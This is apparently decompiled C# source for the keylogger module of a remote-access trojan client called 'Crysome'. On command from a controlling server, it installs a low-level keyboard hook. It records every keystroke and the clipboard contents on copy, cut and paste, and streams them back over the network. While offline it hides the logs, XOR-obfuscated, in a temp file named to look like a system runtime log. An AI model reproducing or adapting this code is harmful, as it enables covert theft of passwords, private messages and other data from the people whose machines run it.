using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Text; using System.Threading; using Crysome.Client.Util; using Crysome.Common.Network; using Crysome.Common.Network.Packets; using Crysome.Common.Network.Packets.Client; namespace Crysome.Client.Handlers; public static class KeyloggerHandlers { private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); private struct MSG { public IntPtr hwnd; public uint message; public IntPtr wParam; public IntPtr lParam; public uint time; public POINT pt; } private struct POINT { public int X; public int Y; } private struct KBDLLHOOKSTRUCT { public uint vkCode; public uint scanCode; public uint flags; public uint time; public IntPtr dwExtraInfo; } private static volatile bool _running; private static CrysomeClient _client; private static IntPtr _hookId = IntPtr.Zero; private static readonly object _lock = new object(); private static readonly StringBuilder _buffer = new StringBuilder(); private static DateTime _lastSend = DateTime.MinValue; private const int FlushIntervalMs = 2000; private const int MaxBufferChars = 500; private static readonly string _offlineFilePath = Path.Combine(Path.GetTempPath(), "Msvcrtd86_tmp.log"); private const byte XorKey = 167; private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 256; private const int WM_KEYUP = 257; private const int WM_SYSKEYDOWN = 260; private const int WM_SYSKEYUP = 261; private static volatile bool _ctrlDown; private const uint LLKHF_INJECTED = 16u; private const int VK_CONTROL = 17; private const int VK_LCONTROL = 162; private const int VK_RCONTROL = 163; private const uint PM_REMOVE = 1u; private static LowLevelKeyboardProc _proc = HookCallback; [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("user32.dll")] private static extern bool PeekMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg); [DllImport("user32.dll")] private static extern bool TranslateMessage(ref MSG lpMsg); [DllImport("user32.dll")] private static extern IntPtr DispatchMessage(ref MSG lpMsg); public static void HandleStartKeylogger(CrysomeClient client, IPacket packet) { lock (_lock) { if (!_running) { _client = client; _running = true; _ctrlDown = false; _buffer.Clear(); Thread thread = new Thread(RunHook); thread.IsBackground = true; thread.Start(); } } } public static void HandleStopKeylogger(CrysomeClient client, IPacket packet) { lock (_lock) { _running = false; if (_hookId != IntPtr.Zero) { UnhookWindowsHookEx(_hookId); _hookId = IntPtr.Zero; } FlushBuffer(); } } public static void UploadOfflineDataIfAny(CrysomeClient client) { //IL_0064: Unknown result type (might be due to invalid IL or missing references) //IL_006e: Expected O, but got Unknown try { if (!File.Exists(_offlineFilePath)) { return; } byte[] array = File.ReadAllBytes(_offlineFilePath); if (array != null && array.Length != 0) { for (int i = 0; i < array.Length; i++) { array[i] ^= 167; } string text = Encoding.UTF8.GetString(array); if (!string.IsNullOrWhiteSpace(text) && client != null && client.IsConnected) { client.SendPacket((IPacket)new OfflineKeylogDataPacket(text)); File.Delete(_offlineFilePath); } } } catch { } } private static void RunHook() { try { using (Process process = Process.GetCurrentProcess()) { using ProcessModule processModule = process.MainModule; _hookId = SetWindowsHookEx(13, _proc, GetModuleHandle(processModule.ModuleName), 0u); } if (_hookId == IntPtr.Zero) { Program.Log("Keylogger: SetWindowsHookEx failed"); return; } try { while (_running) { MSG lpMsg; while (PeekMessage(out lpMsg, IntPtr.Zero, 0u, 0u, 1u)) { TranslateMessage(ref lpMsg); DispatchMessage(ref lpMsg); } Thread.Sleep(20); } } finally { if (_hookId != IntPtr.Zero) { UnhookWindowsHookEx(_hookId); _hookId = IntPtr.Zero; } } } catch (Exception ex) { Program.Log("Keylogger: " + ex.Message); } } private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && _running) { try { KBDLLHOOKSTRUCT kBDLLHOOKSTRUCT = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT)); if ((kBDLLHOOKSTRUCT.flags & 0x10) != 0) { return CallNextHookEx(_hookId, nCode, wParam, lParam); } int vkCode = (int)kBDLLHOOKSTRUCT.vkCode; bool flag = wParam == (IntPtr)256 || wParam == (IntPtr)260; if (wParam == (IntPtr)257) { _ = 1; } else _ = wParam == (IntPtr)261; if (vkCode == 17 || vkCode == 162 || vkCode == 163) { _ctrlDown = flag; return CallNextHookEx(_hookId, nCode, wParam, lParam); } if (flag) { if (_ctrlDown && (vkCode == 67 || vkCode == 86 || vkCode == 88)) { string value = vkCode switch { 86 => "PASTE", 67 => "COPY", _ => "CUT", }; string textTruncated = ClipboardSta.GetTextTruncated(400); lock (_buffer) { _buffer.Append(" [").Append(value).Append(":") .Append(textTruncated) .Append("] "); TryFlush(); } return CallNextHookEx(_hookId, nCode, wParam, lParam); } if (!_ctrlDown) { char c = KeyToChar(vkCode); if (c != 0) { lock (_buffer) { _buffer.Append(c); TryFlush(); } } } } } catch { } } return CallNextHookEx(_hookId, nCode, wParam, lParam); } private static void TryFlush() { if (_buffer.Length >= 500 || (DateTime.Now - _lastSend).TotalMilliseconds >= 2000.0) { FlushBuffer(); } } private static char KeyToChar(int vk) { if (vk >= 48 && vk <= 57) { return (char)vk; } if (vk >= 65 && vk <= 90) { return (char)vk; } return vk switch { 32 => ' ', 13 => '\n', 8 => '\b', 9 => '\t', 186 => ';', 187 => '=', 188 => ',', 189 => '-', 190 => '.', 191 => '/', 192 => '`', 219 => '[', 220 => '\\', 221 => ']', 222 => '\'', _ => '\0', }; } private static void FlushBuffer() { //IL_0064: Unknown result type (might be due to invalid IL or missing references) //IL_006e: Expected O, but got Unknown string text; lock (_buffer) { if (_buffer.Length == 0) { return; } text = _buffer.ToString(); _buffer.Clear(); _lastSend = DateTime.Now; } try { CrysomeClient client = _client; if (client != null && client.IsConnected) { _client.SendPacket((IPacket)new KeylogDataPacket(text)); } else { PersistOffline(text); } } catch { try { PersistOffline(text); } catch { } } } private static void PersistOffline(string data) { try { byte[] bytes = Encoding.UTF8.GetBytes(data); for (int i = 0; i < bytes.Length; i++) { bytes[i] ^= 167; } if ((File.Exists(_offlineFilePath) ? new FileInfo(_offlineFilePath).Length : 0) < 524288) { using (FileStream fileStream = new FileStream(_offlineFilePath, FileMode.Append, FileAccess.Write)) { fileStream.Write(bytes, 0, bytes.Length); return; } } } catch { } } }